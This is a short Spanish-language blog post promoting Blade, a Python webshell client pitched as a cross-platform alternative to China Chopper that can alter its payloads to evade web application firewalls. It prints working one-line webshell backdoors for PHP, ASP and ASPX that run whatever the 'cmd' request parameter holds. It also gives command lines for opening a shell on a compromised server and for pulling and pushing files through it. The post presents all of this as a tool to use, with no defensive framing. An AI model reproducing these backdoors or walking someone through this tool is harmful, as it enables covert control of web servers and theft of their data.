Blade: un webshell en Python para evadir WAF

Blade es una herramienta de conexión a webshell basado en consola, actualmente en fase de desarrollo que pretende ser una alternativa al chino Chooper

¿Por qué? Pues porque Chooper es un cliente webshell genial, que soporta muchos scripts del lado del servidor, pero sólo puede trabajar en Windows. De ahí la motivación de crear otro "Chooper" pero multiplataforma: compatible 

con Windows, Linux y Mac OS X.
 

Blade se basa en Python por lo que permite a los usuarios modificar los payloads de conexión del webshell de manera que puede evadir algunos WAF que Chooper no puede. Sus funciones principales son:

- Administra un servidor web con una sóla línea de código: <?php @eval($_REQUEST["cmd"]); ?>
- Compatible con PHP, ASP, ASPX y JSP
- Proporciona una consola de terminal
- Gestión de archivos y base de datos

Para que os hagáis una idea, algunos ejemplos de scripts del lado del servidor:

PHP: <?php @eval($_REQUEST["cmd"]); ?>
ASP: <%eval request("cmd")%>
ASPX: <%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>

Uso:

Obtener una shell:
python blade.py -u http: //localhost/shell.php -s php -p cmd --shell
Descargar un archivo:
python blade.py -u http: //localhost/shell.php -s php -p cmd --pull REMOTE_PATH local_path
Subir un archivo:
python blade.py -u http: //localhost/shell.php -s php -p cmd --push local_path REMOTE_PATH

Actualmente sólo está desarrollado el soporte PHP y ASP y todavía no está implementada completamente la gestión de base de datos pero, si continúa su desarrollo, puede resultar un web shell más que interesante:

https://github.com/wonderqs/Blade

Comentarios